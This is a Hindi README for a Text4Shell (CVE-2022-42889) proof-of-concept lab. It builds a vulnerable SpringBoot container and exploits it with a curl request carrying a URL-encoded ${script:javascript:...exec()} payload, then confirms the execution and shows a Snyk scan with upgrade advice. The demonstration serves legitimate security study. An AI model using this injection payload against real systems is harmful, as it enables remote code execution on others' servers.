
CVE-2022-42889 (जिसे Text4Shell भी कहा जाता है) RCE प्रूफ ऑफ कॉन्सेप्ट

Text4Shell Apache Commons Text लाइब्रेरी में पाई गई एक गंभीर सॉफ्टवेयर भेद्यता का लोकप्रिय नाम है (देखें CVE-2022-42889).
यह रेपो इस CVE का लाभ उठाने वाले रिमोट कोड एक्ज़ीक्यूशन (RCE) को प्रदर्शित करने के लिए है।
कमजोर कोड एक SpringBoot कंट्रोलर में उपयोग किया जा रहा है, लेकिन भ्रमित न हों, यह नहीं है कोई SpringBoot/Spring सुरक्षा समस्या।
RCE का परीक्षण करने से पहले, Docker इमेज बनाएं:
$ docker build -t text4shell .
...
=> exporting to image 0.0s
=> => exporting layers 0.0s
=> => writing image sha256:5d82feaa030f5e7b35c1c6deaa12b40ef713c05001a41f5f71fff6174513507f 0.0s
=> => naming to docker.io/library/text4shell
फिर कंटेनर चलाएं:
$ docker run --name text4shell --rm -ti -p:8080:8080 text4shell
...
2022-11-05 09:11:03.798 INFO 1 --- [ main] it.sunnyvale.text4shell.Main : Started Main in 1.376 seconds (JVM running for 1.713)
अंत में, आप एक विशेष रूप से तैयार URL के साथ कमजोर एप्लिकेशन का शोषण करने का प्रयास कर सकते हैं:
$ curl http://localhost:8080/text4shell/attack\?search\=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Fp0wned%27%29%7D
Search results for: ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/p0wned')}%
यदि आपको कंटेनर की /tmp डायरेक्टरी में p0wned नाम की फ़ाइल मिलती है, तो RCE सफलतापूर्वक निष्पादित हुआ।
$ docker exec text4shell ls -l /tmp/p0wned
-rw-r--r-- 1 root root 0 Nov 5 09:17 /tmp/p0wned
Snyk का उपयोग करके इमेज को स्कैन करने पर, कमजोर लाइब्रेरी का पता चलता है:
$ docker scan text4shell | grep text
Testing text4shell...
Project name: docker-image|text4shell
Docker image: text4shell
Testing text4shell...
Upgrade org.apache.commons:[email protected] to org.apache.commons:[email protected] to fix
✗ Arbitrary Code Execution (new) [High Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECOMMONS-3043138] in org.apache.commons:[email protected]
introduced by org.apache.commons:[email protected]
Upgrade org.springframework:[email protected] to org.springframework:[email protected] to fix
✗ Improper Handling of Case Sensitivity [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2689634] in org.springframework:[email protected]
introduced by org.springframework:[email protected]
Project name: text4shell:latest:/app
Docker image: text4shell